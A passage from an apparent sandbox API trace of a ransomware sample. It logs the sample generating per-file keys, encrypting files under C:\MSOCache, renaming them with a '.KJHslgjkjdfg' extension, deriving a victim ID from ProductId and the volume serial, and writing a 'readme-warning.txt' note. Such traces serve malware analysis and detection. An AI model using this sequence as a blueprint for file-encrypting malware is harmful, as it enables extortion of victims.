dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.389] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.389] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.397] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.400] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.400] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.402] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.402] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.415] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.419] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.421] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.421] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.421] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.421] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.468] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.471] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.471] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.472] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.472] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.472] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.472] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.472] SetEndOfFile (hFile=0x124) returned 1 [0163.476] GetProcessHeap () returned 0x2ef0000 [0163.476] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.476] GetProcessHeap () returned 0x2ef0000 [0163.476] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.476] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.kjhslgjkjdfg")) returned 1 [0163.477] CloseHandle (hObject=0x124) returned 1 [0163.615] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0163.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.616] GetProcessHeap () returned 0x2ef0000 [0163.616] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.616] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.616] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.616] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xf, lpOverlapped=0x0) returned 1 [0163.619] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.620] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.620] GetProcessHeap () returned 0x2ef0000 [0163.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.620] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.620] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.620] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.620] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.620] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.620] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.620] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.620] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.621] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.621] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.621] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x391, lpOverlapped=0x0) returned 1 [0163.621] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x3a0) returned 1 [0163.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.621] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x3a0, lpOverlapped=0x0) returned 1 [0163.621] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.621] SetEndOfFile (hFile=0x124) returned 1 [0163.624] GetProcessHeap () returned 0x2ef0000 [0163.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.624] GetProcessHeap () returned 0x2ef0000 [0163.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.624] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.kjhslgjkjdfg")) returned 1 [0163.627] CloseHandle (hObject=0x124) returned 1 [0163.627] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0163.627] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.628] GetProcessHeap () returned 0x2ef0000 [0163.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.628] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.628] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.630] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.630] GetProcessHeap () returned 0x2ef0000 [0163.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0163.630] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0163.630] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.631] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0163.631] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.631] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.631] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.631] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.631] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.631] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.631] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.631] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x5ac, lpOverlapped=0x0) returned 1 [0163.631] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x5b0) returned 1 [0163.631] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.632] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0163.632] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.632] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.632] SetEndOfFile (hFile=0x124) returned 1 [0163.634] GetProcessHeap () returned 0x2ef0000 [0163.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0163.634] GetProcessHeap () returned 0x2ef0000 [0163.635] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.635] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0163.635] CloseHandle (hObject=0x124) returned 1 [0163.635] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0163.635] GetProcessHeap () returned 0x2ef0000 [0163.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.636] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0163.636] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.636] GetProcessHeap () returned 0x2ef0000 [0163.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0163.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.636] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0163.636] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.636] GetProcessHeap () returned 0x2ef0000 [0163.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0163.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.636] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0163.636] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.636] GetProcessHeap () returned 0x2ef0000 [0163.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0163.637] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.637] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0163.637] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.637] GetProcessHeap () returned 0x2ef0000 [0163.637] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0163.637] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.637] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0163.637] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.637] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0163.637] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0163.637] RegCloseKey (hKey=0x124) returned 0x0 [0163.637] GetProcessHeap () returned 0x2ef0000 [0163.637] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0163.637] GetProcessHeap () returned 0x2ef0000 [0163.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0163.638] GetProcessHeap () returned 0x2ef0000 [0163.638] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0163.638] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.638] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0163.638] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.638] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0163.638] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.638] GetProcessHeap () returned 0x2ef0000 [0163.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0163.638] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0163.638] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0163.638] GetProcessHeap () returned 0x2ef0000 [0163.638] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0163.638] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0163.638] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.639] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0163.640] CloseHandle (hObject=0x124) returned 1 [0163.640] GetProcessHeap () returned 0x2ef0000 [0163.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0163.640] GetProcessHeap () returned 0x2ef0000 [0163.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: 